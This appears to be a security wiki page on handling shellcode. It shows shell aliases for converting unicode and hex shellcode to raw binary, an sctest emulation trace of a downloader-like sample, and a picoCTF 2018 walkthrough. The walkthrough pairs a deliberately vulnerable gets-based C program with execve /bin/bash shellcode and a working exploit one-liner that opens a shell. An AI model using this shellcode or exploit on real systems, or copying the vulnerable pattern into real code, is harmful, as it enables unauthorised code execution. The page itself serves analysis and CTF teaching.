$ cat shellcode.unicode %u00e8%u0000%u5d00%uc583%ub914%u018b%u0000%u3db0%u4530%u4500%u7549%uebf9%uad00 %uadad%uadad%uadad%ud4ad%u3dc1%u3d3d%u5962%u0d9c%u3d3d%u453d%ub631%u317d%u4db6 [SNIP] %u0d0d%u0d5b%u0d0a%u0f0d%u5c59%u0e0b%u5c04%u5c04%u0b0d%u0d0d%u0d0d%u0d0d%u0d0d %u0f0d%u0c5e%u0d08%u0c0e%u0e04%u0d0d%u0c0d%u090d%u040d%u0d0d%u0d0d%u0d0d%u0d0d %u0a0c%u3d0d $ cat shellcode.unicode | unicode2hex-escaped \xe8\x00\x00\x00\x00\x5d\x83\xc5\x14\xb9\x8b\x01\x00\x00\xb0\x3d\x30\x45\x00\x45 \x49\x75\xf9\xeb\x00\xad\xad\xad\xad\xad\xad\xad\xad\xd4\xc1\x3d\x3d\x3d\x62\x59 [SNIP] \x0d\x0b\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0f\x5e\x0c\x08\x0d\x0e\x0c\x04\x0e \x0d\x0d\x0d\x0c\x0d\x09\x0d\x04\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0c\x0a\x0d\x3d
Unicode to raw binary
You can add the following function to your ~/.bash_aliases file (script taken from REMnux)
function unicode2raw { perl -pe 's/[\"\s\+]//g; s/[%\\]u([a-fA-F0-9]{2})([a-fA-F0-9]{2})/chr(hex($2)).chr(hex($1))/ge' ${*}; }
Here is a usage example:
$ cat shellcode.unicode %u00e8%u0000%u5d00%uc583%ub914%u018b%u0000%u3db0%u4530%u4500%u7549%uebf9%uad00 %uadad%uadad%uadad%ud4ad%u3dc1%u3d3d%u5962%u0d9c%u3d3d%u453d%ub631%u317d%u4db6 [SNIP] %u0d0d%u0d5b%u0d0a%u0f0d%u5c59%u0e0b%u5c04%u5c04%u0b0d%u0d0d%u0d0d%u0d0d%u0d0d %u0f0d%u0c5e%u0d08%u0c0e%u0e04%u0d0d%u0c0d%u090d%u040d%u0d0d%u0d0d%u0d0d%u0d0d %u0a0c%u3d0d $ cat shellcode.unicode | unicode2raw > shellcode.raw $ cat shellcode.raw |sctest -Svs 10000000 > sctest-out.txt $ more sctest-out.txt verbose = 1 Hook me Captain Cook! userhooks.c:108 user_hook_ExitProcess ExitProcess(1952201315) stepcount 295460 HMODULE LoadLibraryA ( LPCTSTR lpFileName = 0x00416fc6 => = "urlmon"; ) = 0x7df20000; DWORD GetTempPathA ( DWORD nBufferLength = 260; LPTSTR lpBuffer = 0x00416ec2 => = "c:\tmp\"; ) = 7; [SNIP]
Hexadecimal to raw binary
You can create following alias in your ~/.bash_aliases file:
alias hex2raw="tr -d '\\\x' | xxd -r -p"
Here is a usage example:
$ more shellcode.hex \xe8\x00\x00\x00\x00\x5d\x83\xc5\x14\xb9\x8b\x01\x00\x00\xb0\x3d \x30\x45\x00\x45\x49\x75\xf9\xeb\x00\xad\xad\xad\xad\xad\xad\xad [SNIP] \x0d\x09\x0d\x04\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0d\x0c\x0a\x0d\x3d $ cat shellcode.hex | hex2raw > shellcode.bin
Example
Consider the following vulnerable code from picoCTF 2018:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 148
#define FLAGSIZE 128
void vuln(char *buf){
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
char buf[BUFSIZE];
puts("Enter a string!");
vuln(buf);
puts("Thanks! Executing now...");
((void (*)())buf)();
return 0;
}
We can use the following shellcode (http://shell-storm.org/shellcode/files/shellcode-606.php):
char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70" "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61" "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52" "\x51\x53\x89\xe1\xcd\x80";
Let's try this:
user@pico-2018-shell:/problems/shellcode_1_cec2eb801137d645a9f15b9b6af5347a$ (python -c "print '\x6a\x0b\x58\x99 \x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80'"; cat) | ./vuln Enter a string! j XRfh-pRjhh/bash/binRQS̀ Thanks! Executing now... ls flag.txt vuln vuln.c cat flag.txt picoCTF{shellc0de_w00h00_26e91a77} ^C
Comments
Pages in category "Exploits/Shellcode"
The following 10 pages are in this category, out of 10 total.